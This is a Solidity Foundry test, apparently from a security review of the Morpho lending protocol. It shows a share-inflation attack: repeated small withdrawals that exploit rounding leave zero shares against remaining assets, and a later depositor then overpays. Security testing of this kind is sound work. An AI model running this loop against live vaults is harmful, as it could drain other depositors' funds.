function testSupplyInflationAttack() public {
vm.startPrank(SUPPLIER);
loanToken.setBalance(SUPPLIER, 1 * 1e18);
// 100x the price. in the end we end up with 0 supply and totalAssets = assets supplied here
morpho.supply(marketParams, 99, 0, SUPPLIER, "");
uint256 withdrawals = 0;
for (;; withdrawals++) {
(uint256 totalSupplyAssets, uint256 totalSupplyShares,,) = morpho.expectedMarketBalances(marketParams);
uint256 shares = (totalSupplyShares + 1e6).mulDivUp(1, totalSupplyAssets + 1) - 1;
// burn all of our shares, then break
if (shares > totalSupplyShares) {
shares = totalSupplyShares;
}
if (shares == 0) {
break;
}
morpho.withdraw(marketParams, 0, shares, SUPPLIER, SUPPLIER);
}
(uint256 totalSupplyAssets, uint256 totalSupplyShares,,) = morpho.expectedMarketBalances(marketParams);
console2.log("withdrawals", withdrawals);
console2.log("totalSupplyAssets", totalSupplyAssets);
console2.log("final share price %sx", (totalSupplyAssets + 1) * 1e6 / (totalSupplyShares + 1e6));
// without inflation this should mint at initial share price of 1e6, i.e., 1 asset
(uint256 returnAssets,) = morpho.supply(marketParams, 0, 1 * 1e6, SUPPLIER, "");
console2.log("pulled in assets ", returnAssets);
}